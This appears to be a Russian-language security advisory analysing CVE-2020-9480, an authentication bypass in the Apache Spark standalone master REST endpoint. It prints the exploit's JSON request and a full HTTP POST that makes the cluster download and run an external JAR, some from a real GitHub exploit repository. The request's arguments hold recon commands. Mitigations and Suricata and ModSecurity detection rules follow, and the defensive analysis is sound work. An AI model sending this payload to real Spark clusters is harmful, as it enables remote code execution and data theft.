Уязвимость BDU:2025-09903 (CVE-2020-9480) Oracle BI и Apache Spark
Уязвимость BDU:2025-09903 (CVE-2020-9480) затрагивает компонент Analytics Server в Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 и Apache Spark версий до 2.4.5 включительно. Она связана с недостатками в процедуре аутентификации standalone-менеджера ресурсов Spark, что позволяет удаленному злоумышленнику обойти проверку подлинности и выполнить произвольные команды на мастер-узле кластера.
Анализ уязвимости
Уровень опасности: 9.8 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-
AV:N (Вектор атаки: Сетевой) - уязвимость может быть использована через сеть.
-
AC:L (Сложность атаки: Низкая) - не требуется специальных условий эксплуатации.
-
PR:N (Необходимые привилегии: Не требуются) - аутентификация не требуется.
-
UI:N (Вмешательство пользователя: Не требуется) - атака не требует действий пользователя.
-
S:U (Область воздействия: Не изменяется) - уязвимость влияет только на целевой компонент.
-
C:H (Влияние на конфиденциальность: Высокое) - возможен доступ к чувствительной информации.
-
I:H (Влияние на целостность: Высокое) - возможное полное нарушение целостности системы.
-
A:H (Влияние на доступность: Высокое) - возможен полный отказ в обслуживании.
Условия эксплуатации
Для успешной эксплуатации уязвимости необходимо:
-
Наличие версии Apache Spark ≤ 2.4.5 или Oracle BI EE 5.5.0.0.0.
-
Использование standalone-менеджера ресурсов (не YARN/Mesos).
-
Включенная опция аутентификации (
spark.authenticate=true). -
Сетевой доступ к порту мастер-узла (6066 по умолчанию).
-
Отсутствие дополнительных механизмов защиты (например, сетевой сегментации).
Анализ кода эксплойта
Рассмотрим код эксплойта для понимания механизма атаки. Эксплойт использует уязвимость в RPC-протоколе мастер-узла, отправляя специально сформированный запрос на запуск приложения.
Ключевые компоненты эксплойта:
json_data0 = {
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": ["whoami,w,cat /proc/version,ifconfig..."],
"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"environmentVariables": {"SPARK_ENV_LOADED": "1"},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://192.168.188.128:6066"
}
}
Этот JSON-запрос отправляется на эндпоинт /v1/submissions/create, который обрабатывается без должной проверки аутентификации. Поле appResource указывает на внешний JAR-файл, содержащий код класса Exploit. При запуске приложения на кластере выполняется код из указанного JAR-файла.
Пример вредоносного HTTP-запроса:
POST /v1/submissions/create HTTP/1.1
Host: 192.168.188.128:6066
Content-Type: application/json
Content-Length: 742
{"action":"CreateSubmissionRequest","clientSparkVersion":"2.3.1","appArgs":["whoami"],"appResource":"https://malicious.site/exploit.jar","environmentVariables":{"SPARK_ENV_LOADED":"1"},"mainClass":"Exploit","sparkProperties":{"spark.jars":"https://malicious.site/exploit.jar","spark.driver.supervise":"false","spark.app.name":"Exploit","spark.eventLog.enabled":"true","spark.submit.deployMode":"cluster","spark.master":"spark://192.168.188.128:6066"}}
Возможные последствия атаки
Злоумышленник может:
-
Выполнить произвольные команды на мастер-узле через внедрение команд в
appArgs. -
Получить полный контроль над системой с правами пользователя Spark.
-
Считать конфиденциальные данные (ключи SSH, учетные данные БД).
-
Инициировать атаки на внутренние системы через скомпрометированный узел.
-
Вызвать отказ в обслуживании кластера Spark.
Методы защиты
1. Обновление программного обеспечения
-
Установить Apache Spark версии 2.4.6 или 3.0.0 и выше.
-
Для Oracle BI EE применить патч из Critical Patch Update April 2021.
2. Сетевая сегментация
-
Ограничить доступ к порту мастер-узла (6066) только доверенным IP-адресам.
-
Разместить кластер Spark в изолированном сетевом сегменте.
3. Конфигурационные изменения
-
Отключить аутентификацию через shared secret если не требуется.
-
Использовать более безопасные менеджеры ресурсов (YARN, Mesos).
Правила для WAF/IPS
Пример правила для Suricata (IDS/IPS):
alert tcp any any -> any 6066 (msg:"CVE-2020-9480 Spark RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/v1/submissions/create"; http_uri; content:"CreateSubmissionRequest"; content:"appResource"; distance:0; content:"mainClass"; distance:0; pcre:"/(spark\.jars|appResource).*https?:\/\/[^\s"]+/i"; classtype:web-application-attack; sid:20209480; rev:1;)
Это правило (входит в мой набор правил) детектирует попытки отправки внешних JAR-файлов через параметры appResource или spark.jars.
Пример правила для ModSecurity (WAF):
SecRule REQUEST_METHOD "@streq POST" \
"chain,id:10009480,phase:2,block,msg:'CVE-2020-9480 Spark RCE Attempt'"
SecRule REQUEST_URI "@contains /v1/submissions/create" \
"chain"
SecRule REQUEST_BODY "@rx (?:appResource|spark\.jars)\s*[\"']?https?://" \
"t:none,t:urlDecode,t:lowercase"
Правило блокирует запросы к уязвимому эндпоинту с внешними URL в теле запроса.
Размещение WAF/IPS:
-
WAF должен быть размещен перед мастер-узлом Spark для фильтрации HTTP-трафика.
-
IPS должен контролировать трафик на сетевом уровне на границе сегмента кластера.